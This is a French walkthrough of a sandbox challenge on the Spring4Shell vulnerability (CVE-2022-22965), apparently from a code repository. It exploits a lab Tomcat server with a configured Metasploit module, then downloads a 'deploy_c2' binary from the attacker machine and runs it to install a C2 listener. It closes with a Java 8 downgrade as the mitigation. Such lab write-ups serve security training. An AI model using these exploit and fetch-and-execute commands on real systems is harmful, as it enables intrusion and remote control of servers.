felisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-Procédure pas à pas pour exploiter CVE-2022-22965 (Spring4Shell) avec Metasploit, déployer un écouteur C2, et atténuer la vulnérabilité en rétrogradant vers Java 8 sur un serveur Tomcat.
Cette procédure documente l'achèvement du Défi Bac à sable axé sur CVE-2022-22965, communément appelé Spring4Shell — une vulnérabilité critique (CVSS 9.8/10) d'exécution de code à distance affectant des versions spécifiques du framework Spring Java. Le défi couvre à la fois les perspectives offensives (équipe rouge) et défensives (équipe bleue) de la vulnérabilité.
Remarque : Les commandes et chemins de fichiers dans cette procédure reflètent l'environnement spécifique utilisé lors de cet essai. Votre environnement peut différer — ajustez les chemins, les adresses IP et les noms de fichiers en conséquence.
| Machine | Adresse IP | Rôle |
|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | Machine d'attaque et de travail |
| Red Target (Linux) | 172.16.100.90 | Cible d'exploitation |
| Blue Target (Linux) | 172.16.100.100 | Cible de durcissement |
Identifiants : playerone / password123
Examiné l'onglet Carte réseau dans le panneau du défi pour confirmer l'IP de la cible rouge (172.16.100.90). Utilisé curl pour inspecter l'application web fonctionnant sur le port 80 :
curl http://172.16.100.90
La sortie a révélé Apache Tomcat 9.0.59 avec une redirection vers /dasmsp. Consulté le code source de la page pour identifier un point de terminaison de formulaire POST à /dasmsp/contact.
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
L'exploit a généré avec succès un shell JSP, modifié le chargeur de classes, vidé le fichier journal et ouvert une session de shell de commande sur la cible rouge.
Après l'ouverture de la session, saisi shell pour passer à un shell interactif. Metasploit a localisé /usr/bin/script sur la cible et l'a utilisé pour ouvrir un shell interactif en tant qu'utilisateur tomcat.
Le binaire deploy_c2 se trouvait sur Security-Desk, pas sur la cible rouge. Hébergé via un serveur HTTP Python3 sur Security-Desk :
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
Téléchargé et exécuté depuis la session shell de la cible rouge :
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
La sortie a confirmé : Done! — Le listener C2 a été déployé avec succès sur la cible rouge.
Depuis le terminal de Security-Desk :
Mot de passe : password123
Les paquets .deb de Java 8 se trouvaient sur Security-Desk dans /home/playerone/Desktop/Resources/. Transférés vers la cible bleue en utilisant SCP depuis un terminal de Security-Desk :
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
Paquets transférés :
Sur la session SSH de la cible bleue :
sudo dpkg -i /tmp/*.deb
En raison d'un problème connu du défi, la vérification ne s'enregistre pas correctement sans définir manuellement Java 8 comme par défaut :
sudo update-alternatives --config java
Sélectionné l'option 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java.
Inspecté le fichier d'unité de service Tomcat :
cat /etc/systemd/system/tomcat.service
Modifié le fichier pour mettre à jour la variable d'environnement JAVA_HOME :
sudo nano /etc/systemd/system/tomcat.service
Changé :
Environment="JAVA_HOME=/usr"
En :
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
La vérification 'CVE-2022-22965 atténué sur la cible bleue' est devenue verte dans le panneau du défi.
spring_framework_rce_spring4shell module)